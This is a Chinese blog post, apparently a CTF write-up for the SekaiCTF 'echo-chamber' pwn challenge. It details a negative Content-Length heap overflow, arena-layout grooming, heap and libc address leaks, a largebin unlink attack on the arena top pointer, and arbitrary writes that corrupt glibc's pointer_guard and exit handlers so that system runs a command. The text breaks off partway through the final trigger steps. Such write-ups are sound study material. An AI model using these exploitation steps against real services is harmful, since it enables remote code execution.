许久没有写博客了,被ai冲击得目眩神迷啊()。近期学习了一道困难的pwn。
原题链接:
https://github.com/project-sekai-ctf/sekaictf-2026/tree/main/pwn/echo-chamber
题目给四个文件:chal.c、chal、libc.so.6、ld-linux-x86-64.so.2(run.sh 用后文给出的 GLIBC_TUNABLES 循环重启 ./chal,监听 9999)。服务器对每个 POST 的处理固定为:逐行读请求头 → strtoll 解析 Content-Length → malloc(body_len+1) 分配缓冲区 → readn 收 body → 原样回显。
if (strcmp(method, "POST") == 0) {
if (!content_length)
goto malformed;
char *end = NULL;
size_t body_len = strtoll(content_length->val, &end, 10);
if (end && *end != 0)
goto malformed;
body = malloc(body_len + 1);
size_t nbytes = readn(self->fd, body, body_len);
if (nbytes != body_len)
goto malformed;
body[nbytes] = 0;
handle_post(self->fd, path, headers, body, body_len);
} else {
handle_get(self->fd, path, headers);
}
goto done;
如果发送Content-Length: -1:
| 环节 | 对 −1 的处理 | 结果 |
|---|---|---|
strtoll | 有符号 64 位 | 0xFFFFFFFFFFFFFFFF |
malloc(body_len+1) | 加一后无符号回绕 | malloc(0),只分 0x20 的 chunk,可用 8 字节 |
readn 的 len 形参 | 形参类型是 unsigned int(32 位) | 传参时截断为 0xFFFFFFFF |
于是我现在有了一条连接(后文称 neg):它的 body 缓冲区只有 8 字节,但 readn 愿意收约 4GB。
它的限制同样重要。起点之前的地方永远无法写入。这决定了后面所有绕路。
服务以 GLIBC_TUNABLES="glibc.malloc.tcache_count=0:glibc.malloc.tcache_max=0:glibc.malloc.arena_max=8" 启动
所以这里说明:
- 禁用tcache。tcache 是每个线程自己的空闲内存块缓存,线程先尝试从自己的 tcache 快速取块;没有合适的缓存块时,再走 arena 的分配路径
- arena最多8个。arena 是堆内存的分配管理单元
审计题目所给libc文件,可知这道题魔改过,没有fastbin参与。所以所有free的chunk都会走入unsorted中。
开 40 条 keep-alive 连接(每条发一个 GET 预热)测映射。节奏不可省:起步 0.5s、每条连接间隔 0.02s、每条预热完成后再等 0.05s——无节奏时各工作线程首次 malloc 先后乱序,arena 绑定跟着乱(对照实测:泄漏直接不发生)。gdb 断在请求头解析的 malloc 处,按线程打印每次分配的地址(地址 & ~0x3FFFFFF = 该线程堆的 64MB 对齐基址)。结果:
| 连接号 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | … | 14 | 15 | … |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 堆 | nm1 | nm2 | nm3 | nm4 | nm5 | nm6 | nm7 | main | nm7 | nm6 | … | nm1 | main | … |
规律:首轮(连接 0–6)升序 nm1→nm7;连接 7 是 main;之后每轮降序(8→nm7 … 14→nm1),每轮末位(15,23,31,39)是 main。即 main 组={7,15,23,31,39},nm1 组={0,14,22,30,38},nm7 组={6,8,16,24,32}。至此,我们已经探明线程与堆的对应关系。
两个复现要点:① 正式跑全链要 96 条连接(12 轮×8 类)——一个 arena 全链消耗 10 条(泄漏 4 + pivot 6),40 条的池每组只有 5 条不够用;② 官方解按 (i+1) mod 8 给槽位打标签(隐含”第二轮也升序”),与本机实测的降序循环不符——按实测映射改标签后才能端到端跑通。
为了进行堆的任意写入获得flag,首先需要获得堆基址和libc基址。接下来我们来获得这两个东西。
现在在 nm1 组的四条连接(0、14、22、30)上布局。
先把四条连接的请求按 neg → P → R → rescue 的顺序依次发完,再进行下一步动作;
每条连接只发一次请求(每行以 \r\n 结尾):
① 连接 0(称为neg):
POST /pr-neg HTTP/1.1
Content-Length: -1
(空行)
发送之后,写入起点是 heap+0x8B0(实测:gdb 断在 body 分配处打印指针;算术:CL 头块 [0x870,0x8A0) 之后紧跟 0x20 chunk [0x8A0,0x8C0),user 起点 = 0x8B0)。
② 连接 14(称为P):
POST /pr-p HTTP/1.1
Content-Length: 1287
Connection: keep-alive
(空行)
CODEX_PR_P_UNSORTEDPPPPPPPPPPPPPP…P
最后一行是 body 的前 1286 字节(“CODEX_PR_P_UNSORTED” + ‘P’ 补齐)。故意差 1 字节不发,此时body 块已分配,readn 差 1 字节阻塞,再补一字节才会回显并且使这个块free。带 keep-alive 是因为第 3 步还要在这条连接上发第二个请求(GET)。
③ 连接 22(称为R):
POST /pr-r HTTP/1.1
Content-Length: 1287
(空行)
CODEX_PR_R_UNSORTEDRRRRRRRRRRRRRR…R
同样差 1 字节。泄漏就在它的回显里。不带 Connection 行:回显完连接即关,一次性。
④ 连接 30(称为rescue):
POST /pr-rescue HTTP/1.1
Content-Length: 1287
这种请求会在头行到达时分配一个 CL 头块,但 body 的 malloc 要等空行——补一个 \r\n 才放行 malloc。
攻击阶段(具体有六步,在四个连接之后开始)
| # | 动作(谁、发什么) | 堆上发生什么 |
|---|---|---|
| 1 | neg 第 1 次写:0x80 字节(内容见下面的明细表) | P 的 body 尺寸字段被伪造成 0xA50——一个横跨 [0x920,0x1770) 的”空闲块”(0x920+0xA50=0x1770) |
| 2 | P 补最后 1 字节 Z,把 P 的回显收完再继续(明细见下) | 回显后 free(P body):按伪造的 0xA50 回收,整个区间进 unsorted(free 是按 size 字段回收的,不看真实边界)。随后服务器沿头链 free:链头是 Connection(头插法,后解析的在前),它被释放并向前并入假块(合并后 [0x8F0,0x1770));取其 next = 0(第 1 步已断链)——链走完,CL 块从未被释放。连接因 keep-alive 继续可用 |
| 3 | 在 P 的连接上再发两行:GET /pr-carver HTTP/1.1 和 CARVEXXXXXXXX…X: V(字段名恰好 1365 个字符 = CARVE + ‘X’ 补齐——解析这一行使服务器 malloc 的 Header 块恰为 0x570,因为块大小 = align16(0x1A+字段名长+值长))。发完就停,空行永远不发(明细见下) | malloc(0x570) 从 [0x8F0,0x1770) 头上切走 [0x8F0,0xE60),剩下余块 [0xE60,0x1770) 进 unsorted,glibc 在余块开头写入 fd、bk 两个指针,位置 0xE70/0xE78——正好是 R 的缓冲区开头 16 字节 |
| 4 | rescue 补空行(一个 \r\n,明细见下) | malloc(0x510) 把余块切走 [0xE60,0x1370)——R 的 body 头所在位置变成已分配,为第 6 步 R 的回收铺路 |
| 5 | neg 第 2 次写:0x520 字节(内容见下面的明细表) | 修复被写入路线顺序覆盖的 R 的 CL 头块(0xE30 处恢复 0x35、next=0) |
| 6 | R 补最后 1 字节 Z,收它的回显(明细见下) | R 的 readn 完成,服务器把整个缓冲区回显回来——开头 16 字节就是 fd、bk |
第一步:neg第 1 次写入了0x80 字节:
| 写入偏移 | 堆地址 | 内容 | 含义 |
|---|---|---|---|
| ——neg 自己的 0x20 chunk [0x8B0,0x8C0)—— | |||
| 0x00–0x10 | 0x8B0–0x8C0 | CODEX_PR_NEG_UNSORT + ‘A’ 补齐 | neg 自己 chunk 的尾部,内容随意(识别标记) |
| ——P 的 CL 块 [0x8C0,0x8F0),一个完整的 0x30 chunk—— | |||
| 0x10–0x18 | 0x8C0 | 00×8 | 本块 prev_size = 0 |
| 0x18–0x20 | 0x8C8 | 35 00 … | 本块 size = 0x35(0x30|标志) |
| 0x20–0x28 | 0x8D0 | 00×8 | 本块 next = 0(CL 先解析、当时链空,天然为 0;此格此后无人读) |
| 0x28–0x30 | 0x8D8 | 00×8 | 本块 val = 0 |
| 0x30–0x40 | 0x8E0–0x8F0 | ‘A’×0x10 | 本块 key 字符串区(原存 Content-Length\01287\0——解析已完成,此后无人读,‘A’ 覆盖即可) |
| ——P 的 Connection 块 [0x8F0,0x920),紧贴上一块、无缝—— | |||
| 0x40–0x60 | 0x8F0–0x910 | 与 CL 块的前四格完全相同(prev_size=0、size=0x35、next=0、val=0) | 本块的 chunk 头与 next/val 格——这里的 next=0 是断链的关键一笔:它原本指向 CL,清零后 P 完成时服务器 free 完本块(链头)链即走完,CL 从未被 free |
| 0x60–0x70 | 0x910–0x920 | ‘A’×0x10 | 本块 key 字符串区(原存 Connection\0keep-alive\0) |
| ——P 的 body chunk [0x920,0xE30) 的头部—— | |||
| 0x70–0x78 | 0x920 | 00×8 | body 的 prev_size = 0 |
| 0x78–0x80 | 0x928 | 55 0A 00 … | body 的 size = 0xA55(伪造的 0xA50) |
第二步:P 补一个字节 Z,内存中发生如下事实:
| 写入者 | 地址(heap+) | 内容 | 含义 |
|---|---|---|---|
| readn | 0xE36 | 5A | body 第 1287 字节落进缓冲区末尾(缓冲区 0x930 起,前 1286 字节布置时已写入),readn 返回、请求完成 |
| 回显 | —(网络) | 1287 字节 | 无堆写入 |
| free(P body) | 0x930 / 0x938 | fd=bk=heap+0x38 | 假块(free 读 0x928 的 0xA50 判定)作为 unsorted 唯一结点挂入,两个指针指向表头 |
| free(P body) | 0x48 / 0x50 | heap+0x920 | unsorted 表头(malloc_state 内 bins[0])的 fd/bk 指回假块 |
| free(P body) | 0x1770 | 0xA50 | 给假块的”下一块”写 prev_size(收尾动作) |
| free(Connection 块) | 0x8F8 | 0xE81 | Connection 块并入假块:合并块 [0x8F0,0x1770)(尺寸 0xE80)的 size 写在这 |
| (无) | 0x8C0 起 | 保持 0x35 | CL 块从未被 free:chal.c 解析头行用的是头插法。第 1 次写入把 Connection 的 next 清零断链,服务器 free 完链头 Connection 后CL 块不进入 free 流程,保持已分配形状留在原地。 |
第三步:P 连接上发两行(这是同一个 GET 请求的前两行;最后的空行不发):
- 第 1 行:
GET /pr-carver HTTP/1.1+\r\n - 第 2 行(1370 字节):
CARVE+X×1360 +: V+\r\n—— 字段名 1365 个字符(CARVE 5 + X 1360),后缀: V\r\n5 字节
| 写入者 | 地址(heap+) | 内容 | 含义 |
|---|---|---|---|
| malloc(0x570) | 0x8F8 | 0x575 | 从合并块头部切出分配块 [0x8F0,0xE60) 的 size(0x570|PREV_INUSE|NON_MAIN) |
| strcpy | 0x910 起 | CARVEX…\0V\0 | 新块里存字段名与值(占 [0x910,0xE68);末 8 字节借用下一块 prev_size 槽——glibc 惯例,合法) |
| malloc(0x570) | 0xE60 / 0xE68 | prev_size / 0x911 | 余块 [0xE60,0x1770) 的头:size=0x910|PREV_INUSE(空闲块不带 NON_MAIN 位) |
| malloc(0x570) | 0xE70 / 0xE78 | fd=bk=heap+0x38 | 余块挂入 unsorted——这两个指针就是泄漏目标,恰好落在 R 的缓冲区开头 16 字节 |
| malloc(0x570) | 0x48 / 0x50 | heap+0xE60 | 表头 fd/bk 改指新余块 |
第四步:rescue 补空行( \r\n):
| 写入者 | 地址(heap+) | 内容 | 含义 |
|---|---|---|---|
| strtoll | —(无堆写入) | — | 读 rescue 自己 CL 块(0x1370)的 val 串得 1287 |
| malloc(0x510) | 0xE68 | 0x515 | 余块再被切:分配块 [0xE60,0x1370) 的 size(rescue 的 body) |
| malloc(0x510) | 0x1370 / 0x1378 | prev_size / 0x401 | 新余块 [0x1370,0x1770) 的头 |
| malloc(0x510) | 0x1380 / 0x1388 | fd=bk=heap+0x38 | 新余块挂 unsorted |
| readn | —(一个字节也不发) | — | 这块内存从布置起就是 R 的 body(R 的指针 0xE70 一直有效),第 4 步的 malloc 把同一区域再次分配给 rescue——两个请求共享同一块内存(堆别名/overlap)。rescue 一个 body 字节也不发(发了会从 0xE70 起顺序覆盖 fd/bk),0xE70 处第 3 步写下的 fd/bk 原样保留,且这块永不释放 |
第五步:neg第 2 次写了0x520 字节(落点 [heap+0x930, heap+0xE50),接在第一次的末尾继续):
| 写入偏移 | 堆地址 | 内容 | 含义 |
|---|---|---|---|
| 0x00–0x500 | 0x930–0xE30 | ‘B’×0x500 | 填料(P 的旧 body 区,此时已无有效数据) |
| ——R 的 CL 块 [0xE30,0xE60),一个完整的 0x30 chunk—— | |||
| 0x500–0x508 | 0xE30 | 00×8 | 本块 prev_size = 0 |
| 0x508–0x510 | 0xE38 | 35 00 … | 本块 size = 0x35 |
| 0x510–0x518 | 0xE40 | 00×8 | 本块 next = 0 |
| 0x518–0x520 | 0xE48 | 00×8 | 本块 val = 0 |
第 3 步 carve 的 strcpy 把 1365 字符的字段名铺满 [0x910,0xE68),碾坏了 R 的 CL 头块的 size/next/val;本步把 0xE30 起四格修复回合法形状,第 6 步 R 完成后的回收才不会崩。neg 累计写了 0x80+0x520 = 0x5A0 字节,停在 heap+0xE50(后面如果使用neg就从这里继续)。
第六步:R 补 1 个字节 Z:
| 写入者 | 地址(heap+) | 内容 | 含义 |
|---|---|---|---|
| readn | 0x1376 | 5A | R 缓冲区(0xE70 起)的第 1287 字节,readn 返回 |
| 回显 | —(网络) | 1287 字节 | 服务器把整个缓冲区发回:开头 16 字节 = 0xE70/0xE78 处的 fd、bk,泄漏到手 |
| free(R body) | 0xE60 起 | — | 读 0xE68 的 0x510 回收 [0xE60,0x1370)——正是第 4 步造出的已分配边界,安全 |
| free(R 的 CL 块) | 0xE30 起 | — | 读第 5 步修好的 0x35 回收 [0xE30,0xE60),回收链走通、不崩 |
实测输出(一次真实运行):
R 回显前 16 字节: 38 00 00 bc 24 7d 00 00 | 38 00 00 bc 24 7d 00 00
fd = bk = 0x7d24bc000038
线程堆的 unsorted 链表头位于本堆的 malloc_state(堆上 heap+0x30 起)内 +0x8 处,链里只有余块一个结点时 fd=bk=表头。换算:arena = fd − 0x8,堆基址 = arena − 0x30 = fd − 0x38 = 0x7d24bc000000(64MB 对齐,自检通过)。
此时拥有:neg (累计写了 0x5A0 字节,停在 0xE50)、堆基址。
以上的指针指向本堆的 malloc_state,是因为线程堆的 unsorted 表头住在自己堆里。main arena 的 malloc_state 是 libc 数据段里的全局变量——同一套流程在 main 组的连接上再做一遍,余块的 fd 就直接是 libc 地址(注意 main 堆上偏移不同:它没有 heap_info/malloc_state 的 0x870 头部,neg 的写入起点是 0x2B0,P/R 的落位整体前移;流程与时序完全相同)。
类似的,可以得到:
libc 基址 = fd − 0x1e3c88 (本题 libc 的 main_arena 偏移 0x1e3c80 + 表头 0x8)
实测一次:libc=0x775933a6a000,main_arena = libc+0x1e3c80 = 0x775933c4dc80。
既然已经得到了堆基址和libc基址,那么现在的问题是:neg 的起点在 0x8B0,而分配器的核心结构 malloc_state 在 [0x30,0x870)。我们仍然无法修改。
先按顺序发送五条请求:
① large:
POST /pr-large HTTP/1.1
Content-Length: 1799
(空行)
LLLLLLLLLL…L
body 前 1798 字节全 ‘L’,差 1 字节。1799=0x710−9,所以body 是 0x710 的块。
② guard:与 large 同构,路径 /pr-guard、body 全 ‘G’——一块 0x710 的占位,让 large 释放时不与后方合并。
③ trigger:
POST /pr-trigger HTTP/1.1
Content-Length: 1799
(无空行。将来补空行时 strtoll 会读它的 CL 值 1799 → 触发malloc 0x710)
④ smash:与trigger同构,路径 /pr-smash、Content-Length: 2295(2295=0x900−9)。
⑤ remainder:与trigger同构,路径 /pr-remainder、Content-Length: 1(真实 CL 在 pivot 攻击第 3 步被 neg 换掉)。
五条发完后落位(泄漏结束时:R 完成后 [0xE30,0x1370) 已整体回收进 bins;rescue 连接仍挂着,但它只握一个悬空指针 0xE70、永不写入,不占用内存;top 在 0x13A0):
| 顺序 | 连接 | 堆上结果 | 此刻服务器侧状态 |
|---|---|---|---|
| ① | large | CL 头块 [0xE30,0xE60)(回收区)+ body [0x13A0,0x1AB0) | readn 差 1 字节阻塞 |
| ② | guard | CL 头块 [0xE60,0xE90) + body [0x1AB0,0x21C0) | readn 差 1 字节阻塞 |
| ③ | trigger | Header 块 [0xE90,0xEC0)(key 存 “Content-Length\0” + 值 “1799”) | 等空行 |
| ④ | smash | Header 块 [0xEC0,0xEF0)(值 “2295”) | 等空行 |
| ⑤ | remainder | Header 块 [0xEF0,0xF20)(值 “1”) | 等空行 |
malloc 每次先从 bins 找现成空闲块,放不下才从 top 切。泄漏结束时 R 的旧 body 一带 [0xE30,0x1370) 已随 R 的请求结束被回收(低地址空闲区),top 在 0x13A0。五条请求的 CL 头块(各 0x30)按发送顺序从回收区头部依次切:large [0xE30,0xE60)、guard [0xE60,0xE90)、trigger [0xE90,0xEC0)、smash [0xEC0,0xEF0)、remainder [0xEF0,0xF20);随后 large/guard 的 0x710 body 在剩余回收区(约 0x450)放不下,从 top 切。
smash 和 remainder 在本阶段不动作:它们的 CL 头块此刻只起占位作用,放行分别在后文的 smash(body 覆盖 malloc_state)与 remainder 写入。
攻击阶段
| # | 动作(谁、发什么) | 堆上发生什么 |
|---|---|---|
| 1 | large 补 1 字节 Z,收完回显 | free(large):[0x13A0,0x1AB0) 进 unsorted;guard 在后方活着,不合并 |
| 2 | 发 sort 的 blocked 请求(这是第六条独立连接)(原文:POST /pr-sort HTTP/1.1 / Content-Length: 2055 /(空行)/ body 前 2054 字节全 ‘S’,2055=0x810−9) | malloc(0x810) 扫 unsorted:large 的 0x710 不够用 → 顺手把它归入 bin 76(大块链表,表头 heap+0x4E8——large 的 fd/bk 被写成表头);sort 自己从 top 切 [0x21C0,0x29D0),真 top 退到 0x29D0 |
| 3 | neg 第 3 次写:0xE50→0x30F0 共 0x22A0 字节(逐段明细见下) | bin76 的链上挂出一个假块;三块 Header 恢复;0xF40 埋入 remainder 写入要用的十进制串;remainder 的 val 被改指 0xF40 |
| 4 | trigger 补空行(一个 \r\n) | strtoll 读 trigger 块的 “1799” → malloc(0x710) → bin76 → unlink 维护:自检 + 执行两条固定写 *(fd_nextsize+0x28)=bk_nextsize、*(bk_nextsize+0x20)=fd_nextsize → top 字段 = heap+0x10 |
neg 第 3 次写的明细:
large 和 guard 各自也有一块 0x30 的 CL 头块,落在回收区 [0xE30,0xE90)、trigger 那三块前面,但不用恢复:large 的在 pivot 攻击第 1 步已随请求结束被 free;guard 的永无人读(请求永不完成)。
| 堆地址 | 写入 | 含义 |
|---|---|---|
| [0xE50,0xE90) | ‘A’×0x40 | 填料 |
| ——trigger 的 Header 块 [0xE90,0xEC0)—— | ||
| 0xE90 / 0xE98 / 0xEA0 / 0xEA8 | 0 / 0x35 / 0 / 0xEBF | prev_size / size / next=0 / val→本块 key 之后的值串 |
| 0xEB0 / 0xEBF | Content-Length\0 / 1799\0 | key 与值;值的尾 4 字节(‘7’,‘9’,‘9’,0)越过块尾 0xEC0,落进下一块 prev_size |
| ——smash 的 Header 块 [0xEC0,0xEF0)—— | ||
| 0xEC0 | 799\0+补零 | 本块 prev_size(上一块值的溢出字节) |
| 0xEC8 / 0xED0 / 0xED8 | 0x35 / 0 / 0xEEF | size / next=0 / val→块内值串 |
| 0xEE0 / 0xEEF | Content-Length\0 / 2295\0 | key 与值(尾 4 字节 295\0 溢进 0xEF0) |
| ——remainder 的 Header 块 [0xEF0,0xF20)—— | ||
| 0xEF0 | 295\0+补零 | prev_size(溢出字节) |
| 0xEF8 / 0xF00 / 0xF08 | 0x35 / 0 / heap+0xF40 | size / next=0 / val 改指远处(不再指向块内) |
| 0xF10 / 0xF1F | Content-Length\0 / X\0 | key;值只放占位符 X(保持块为 0x30) |
| [0xF20,0xF40) | ‘A’×0x20 | 填料 |
| 0xF40 | 十进制串 str(nb−9)\0 | remainder 写入的真实 CL——放行 remainder 连接时 strtoll 经 val 读到的是它 |
| [0xF4x,0x13A0) | ‘A’ | 填料(R 旧 body 尾部与回收区) |
| ——large 块的元数据 [0x13A0,0x13D0)—— | ||
| 0x13A0 / 0x13A8 | 0 / 0x715 | prev_size / size(0x710|标志) |
| 0x13B0 / 0x13B8 | heap+0x4E8 ×2 | fd=bk=bin76 表头(恢复链指针) |
| 0x13C0 / 0x13C8 | heap+0x13A0 / heap+0x29D0 | fd_nextsize=自身 / bk_nextsize 挂出 0x29D0 |
| [0x13D0,0x29D0) | ‘A’ | 填料(穿过 large/guard/sort 的 body——guard/sort 的 readn 永远差 1 字节不完成,内容无人读,可覆盖) |
| ——伪装的 largebin 块 [0x29D0,0x2A00)—— | ||
| 0x29D0 / 0x29D8 | 0 / 0x715 | prev_size / size(与 large 同尺寸) |
| 0x29E0 / 0x29E8 | heap+0x29D0 ×2 | fd=bk=自身(过双向链自检) |
| 0x29F0 / 0x29F8 | heap+0x10 / heap+0x18 | 两个毒指针——指向 top 字段的减法位置 |
| [0x2A00,0x30E0) | ‘A’ | 填料 |
| 0x30E0 | 10 07 00 …(0x710) | 伪块的尾界 prev_size(0x29D0+0x710=0x30E0) |
| [0x30E8,0x30F0) | ‘A’ | 收尾,笔停在 0x30F0 |
(0x29D0+0x710=0x30E0 ✓;写入总量 0x30F0−0xE50=0x22A0 ✓。)
实测:expected non-main arena->top: 0x7758ec000010——top 字段 = heap+0x10 ✓。此刻 glibc 认为 top 从堆底开始,而 top 需要的 size 字段就读 heap+0x18——那是 heap_info 里现成的映射大小 ≈0x21000,与 system_mem 相等,尺寸检查白捡通过。
攻击阶段第 4 步详解:trigger 这次 malloc 的完整过程
先回答”伪装块怎么进 bin76 的”——它没有被”放进去”,因为 bin 不是名册,只是一串指针格子:“在 bin 里”的唯一含义就是被链上的指针指到。glibc 不记录任何块的产生历史。入链的全部动作是第 3 步的两笔写:①写 0x13C8 让 large 的 bk_nextsize 指向 0x29D0;②在 0x29D0 写一整套块结构。第 4 步 trigger 的 malloc 顺链走到 0x29D0,读它的字段——size 匹配、指针自洽——便认定它是 bin 成员。unlink 的自检查的是自洽(fd->bk 是否指回自己)。
| 步骤 | 发生什么 |
|---|---|
| 0 | trigger 补空行 → 头解析结束 → strtoll 经 val(0xEBF)读到 “1799” → malloc(1799+1) = malloc(1800) |
| 1 | 尺寸换算:nb = align16(1800+8) = 0x710;先扫 unsorted——无可直接用的 |
| 2 | 0x710 ≥ 0x400 属于大块范围 → 定位 bin 76(表头 heap+0x4E8) |
| 3 | bin 76 链上有两块同尺寸 0x710:真 large(0x13A0)和伪装块(0x29D0);malloc 选定要取出的块 victim = 0x29D0 |
| 4 | 取块必经 unlink(0x29D0)。第一道自检(双向链):查互相指认——读 fd->bk 与 bk->fd,必须都等于 victim(防经典”伪造 fd/bk 任意写”)。布置成 fd=bk=自身:读 *(victim+0x18)、 *(victim+0x10) 读回的都是自身。 |
| 5 | **第二道自检:**与第一道同构,查的是另一对指针。largebin 结点除 fd/bk 外还有 fd_nextsize/bk_nextsize(尺寸环:按尺寸排序、每尺寸一个代表块的双向链),规矩同样是互相指认:读 *(fd_nextsize+0x28) 与 *(bk_nextsize+0x20),必须都等于 victim。本题利用的正是这条链——毒指针 heap+0x10(+0x28)与 heap+0x18(+0x20)都落在 heap+0x38(top 字段),而 top 字段此刻存的就是 0x29D0(它就是当前 top)→ 两处读到的都等于 victim |
| 6 | 固定写①:victim->fd_nextsize->bk_nextsize = victim->bk_nextsize → *(heap+0x10+0x28) ← heap+0x18 → top 字段暂时 = heap+0x18 |
| 7 | 固定写②:victim->bk_nextsize->fd_nextsize = victim->fd_nextsize → *(heap+0x18+0x20) ← heap+0x10 → top 字段最终 = heap+0x10 |
| 8 | malloc 把 0x29D0 当作分配结果返回给 trigger 的 body;readn(1799) 永远收不满——这次调用的全部产出就是第 6、7 步那两笔写 |
top 指向堆底后,下一次大 malloc 的 body 缓冲区就从 heap+0x20 开始。
放行 smash(补空行):strtoll 读到 2295 → malloc(2296) 从 heap+0x10 切出 0x900,readn 把我发的 0x850 字节抄进 [0x20,0x870)——整份 malloc_state 被替换成准备的内容。故意少发 0xA7 字节(2295−0x850):请求不完成、连接阻塞、这块永远不被 free。
替换进去的关键字段:
| heap+ | 字段 | 填值 | 作用 |
|---|---|---|---|
| 0x38 | top | heap+0x3200 | 下次 malloc 从这切 |
| 0x860/0x868 | system_mem/max | nb+0x1000 | 与伪造 top 的尺寸相等(过”top 尺寸>账面”检查) |
| 0x48–0x838 | bins | 全部空链表自指 | 查找直接落到 top |
| 0x848/0x850/0x858 | next/next_free/attached | 自指/0/1 | 把这个已被改坏的 arena 从公共调度里隔离,别的线程不再进来 |
之后 glibc 会去读 *(heap+0x3208) 当 top 的尺寸——那里是从没写过的空地。neg 第 4 次写(0x30F0→0x3210,中间 0x110 字节 ‘C’ 纯填料):0x3200←0(prev_size)、0x3208←(nb+0x1000)|1(size)。伪造 top 的实际地址是 0x3200+((目标−8)&0xF)——对齐微调量取 0~15 任一值使 nb 为 16 的倍数(实测六写中第 5 笔微调 +0、第 6 笔 +9)。
至此 glibc 对一个 top 的全部三项信任(指针、尺寸、账面 system_mem)都由我们供值。
malloc 从 top 切块后有个收尾动作:给余块(新 top)写 8 字节尺寸字段,位置 = 伪造top + nb。伪造 top 的位置我定、nb 是请求大小我定——所以”malloc 把 8 字节写到哪”变成一道减法:
放行 remainder 连接。它的 CL 值不是发请求时写死的——pivot 攻击第 3 步(neg 第 3 次写)已把它的 Header 块的 val 指针改指 0xF40(真数字串在那)。strtoll 读到 nb−9,malloc(nb−9+1) 对齐后恰为 nb:
nb = write_addr − 8 − (heap+0x3200+微调)
余块头 = 伪造top + nb = write_addr − 8
余块的尺寸字段(余块头+8)= (nb+0x1000−nb)|1 = 0x1001 ← 落在 write_addr 上
expected remainder write: *0x775933c552a8 = 0x1001(那次是写 libc+0x1EB2A8)。一个 arena 走完全流程(从泄漏到 remainder 写入)= 换一次任意地址 8 字节写入,值固定是 0x1001 这种”合法尺寸”形状,地址任意。代价是这个 arena 已彻底与真实堆脱节,用完即废。所以要写六次,就得六个 arena 各走一遍全流程。
进程退出时,glibc 的 exit() 会照着内存里的一张退出函数表逐项调用函数指针,取消/展开机制也会从内存里读函数指针来调——这些表和指针全在可写的 libc 数据段/TLS 里。只要把”退出时会被读的那几格”换成我的内容,“进程退出”这件事就变成”替我执行 system(我的命令)”。
先解决一个约束:glibc 把这类函数指针加密存储——stored = ROL64(目标 ^ guard, 17),guard 是主线程 TLS 里的密钥(pointer_guard)。这个加密即:与 guard 异或再左移 17 位,溢出位循环至数的末尾。而写入值还必须满足”尺寸形状”(低 4 位 0001、≥0x20),三个加密值靠一个小方程组全部天生合法:
- 任取
exit_stored = 0x1 | (n<<17),其中n = (exit地址&0xF) ^ 1; - 反解
guard = exit地址 ^ ROR64(exit_stored,17)——展开后 guard 的低 4 位 = exit低4 ^ n = 1,guard 自动是尺寸形状(n 就是为此选的); system_stored = ROL64(system ^ guard, 17)——libc 地址 bit47=0、guard 的 bit47=1,异或再左移后低 4 位恰为 0001,也是尺寸形状。
时序上先换钥匙再锁门:写 1 先换 guard,写 2/4 的密文都用新 guard 加密;解密发生在写入之后的退出流程里,用的正是新密钥,必然解出 system 和 exit。
| # | write_addr | 原值 | 新值 | 将来被谁读、当什么用 |
|---|---|---|---|---|
| 1 | libc−0x2890(pointer_guard,TLS) | 真密钥 | guard(自造) | 展开机制和 exit 每次解密函数指针时的异或密钥 |
| 1 附带 | 某堆 heap+0x2001 | (空地) | 命令字符串 "cat /tmp/ec/flag.txt > /tmp/ec/out.txt\0" | system 的参数 |
| 2 | libc+0x1E5178(exit 初始函数表 fns[0].fn) | 某 libc 内部善后函数(加密形态) | system_stored | exit() 遍历表调 fns[0] 时解密 → system |
| 3 | libc+0x1E5180(fns[0].arg) | 原函数的参数 | 命令串地址 | 调 fns[0] 时传的参数 |
| 4 | libc+0x1EB2C8(展开机制的强制展开函数指针) | 原指针(加密形态,且指向未加载的 libgcc 流程) | exit_stored | 主线程强制展开走到头时解密调用 → exit |
| 5 | libc+0x1EB2A8(libgcc 句柄) | NULL | 0x1001 | 展开机制先查此句柄,非空即跳过 dlopen(“libgcc_s.so.1”) |
| 6 | libc−0x25B8−7(cancelhandling−7,TLS) | 0 | 0x0800000000000001 | 小端展开后第 8 字节 0x08 落在 cancelhandling 最低字节 = 主线程 TCB 的”未决取消”位 |
退出表项的逐格布局与”改哪些、不改哪些”(表项基址 = libc+0x1E5170,每项 0x20:flavor/fn/arg/dso_handle 四格):
+0x00 flavor libc+0x1E5170 原值 ef_cxa —— 不动:调用形式恰好就是 fn(arg, status),
正是想要的形状,白捡的正确类型
+0x08 fn libc+0x1E5178 ← 写 2:system_stored
+0x10 arg libc+0x1E5180 ← 写 3:命令串地址
+0x18 dso_handle libc+0x1E5188 原值 —— 不动:唯一用途是 dlclose 反注册时被扫,
整条链上没有 dlclose、exit 遍历也不读它
六写全部落完后的内存:
TLS(fs=libc−0x28C0 一带,RW)
fs+0x30 pointer_guard = guard(我的钥匙)
fs+0x308 cancelhandling 低字节 = 0x08(未决取消)
libc 数据段(RW)
+0x1E5160 exit 初始函数表 fns[0]: flavor=ef_cxa(原有)
+0x1E5178 fn = system_stored(解密→system)
+0x1E5180 arg = 命令串地址
+0x1EB2C8 强制展开指针 = exit_stored(解密→exit)
+0x1EB2A8 libgcc 句柄 = 0x1001(非空)
某线程堆
heap+0x2001 = "cat /tmp/ec/flag.txt > /tmp/ec/out.txt\0"
主线程:阻塞在 accept(),TCB 里揣着未决取消位
现在,主线程的 while(true) 循环阻塞在 accept() 上等新连接。accept 是取消点:glibc 把这类可能长时间阻塞的系统调用包了一层”可取消包装”——进入系统调用前后会检查本线程 TCB 的 cancelhandling,若”未决取消”已置位,就不再继续等,转而对本线程发起强制展开(把栈一层层退干净、执行各层清理,最后终止线程的流程)。平时没人对主线程调过 pthread_cancel,这个位永远是 0——第 6 写把它置成了 1,但阻塞中的系统调用不会自己醒,需要一个新连接来唤醒 accept,这是接下来的过程:
| 步骤 | 事件 | 用到哪格 |
|---|---|---|
| 1 | 客户端连出第一条新连接 | — |
| 2 | 内核唤醒阻塞中的 accept,返回这个连接的 fd | — |
| 3 | 主循环处理:分配 Worker、起工作线程(新连接由别的线程接管,与本链无关),回到循环头,准备进入下一轮 accept | — |
| 4 | 进入 accept 的可取消包装,入口检查本线程 TCB:未决取消 = 1(第 6 写置的位)→ 不进系统调用,直接发起主线程强制展开 | 写 6 |
| 5 | 展开机制准备走 libgcc 的展开器,先查 global_libgcc_handle:非空(0x1001)→ 跳过 dlopen(“libgcc_s.so.1”)——容器里没有这个库,不跳过链条当场断掉 | 写 5 |
